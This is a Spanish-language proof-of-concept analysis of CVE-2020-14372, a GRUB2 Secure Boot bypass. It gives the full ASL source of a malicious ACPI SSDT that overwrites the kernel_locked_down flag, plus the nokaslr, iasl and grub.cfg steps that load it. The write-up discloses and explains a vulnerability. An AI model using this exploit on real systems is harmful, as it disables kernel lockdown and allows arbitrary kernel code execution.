
Exploit de prueba de concepto y análisis de CVE-2020-14372, que demuestra la evasión de Secure Boot mediante un ACPI SSDT malicioso para deshabilitar el bloqueo del kernel y ejecutar código arbitrario.
Un día escribí "help" en la consola de GRUB2 y vi algunos comandos muy "divertidos":
Inmediatamente pensé que había encontrado la forma más divertida de eludir Secure Boot, pero estos comandos generan lo siguiente bajo Secure Boot:
error: Secure Boot forbids loading module .../memrw.mod.
Por curiosidad, arrancado de esta manera, escribí el comando "acpi", e imprimió un mensaje de uso diciéndome que lo señalara a un archivo AML. Es bien sabido que otro nombre para ACPI es un "mecanismo para ejecutar código arbitrario proporcionado por el vendedor en el contexto de su kernel", ya que podemos cargar tablas ACPI con Secure Boot habilitado, nosotros somos el "vendedor" que puede proporcionar ese código.
Pero dado que hay un flag de un byte (kernel_locked_down) en el segmento de datos del kernel arrancado que le indica si está o no "bloqueado", podemos sobrescribir ese flag usando un SSDT y dejar que el kernel cargue módulos arbitrarios.
El siguiente SSDT logra esto creando un objeto "battery" llamado HACK, y haciendo la escritura en el método _INI de dicho objeto, el cual siempre es ejecutado por el kernel:
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
{
LKDN, 32
}
Device (\_SB_.HACK)
{
Name(_HID, EisaId ("PNP0C0A"))
Name(_UID, 0x02)
Method(_INI)
{
If (LKDN)
{
LKDN = Zero
}
}
}
}
Escribí un exploit de prueba de concepto en Python que ayuda a generar este SSDT, pero explotarlo a mano no es tan difícil tampoco. El esquema general es el siguiente:
nokaslr a la línea de comandos del kernelkernel_locked_down después de arrancar sin KASLRiaslSuposiciones:
root al sistema operativo en ejecuciónCuando se cumplan las suposiciones anteriores, edite /etc/default/grub, añada nokaslr a GRUB_CMDLINE_LINUX_DEFAULT, ejecute update-grub, y finalmente reinicie.
Después de que el kernel arranque sin aleatorización del diseño del espacio de direcciones, el script genssdt.py se puede usar para generar un SSDT "malicioso" que parcheará la memoria del kernel en tiempo de ejecución para deshabilitar el lockdown:
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml
Ahora que se creó el SSDT, el archivo de configuración de GRUB (normalmente en /boot/grub/grub.cfg) debe ser editado para que GRUB cargue este SSDT (añadiendo esto al principio de este archivo):
acpi (hd0,gpt1)/evil_ssdt.aml
Dependiendo de dónde reside en el disco la partición del sistema EFI (donde colocamos el SSDT anterior), (hd0,gpt1) podría necesitar ser reemplazado con otra cosa.
Finalmente, después de un reinicio, el lockdown del kernel debería estar deshabilitado, dando a root la capacidad de ejecutar código arbitrario en el kernel.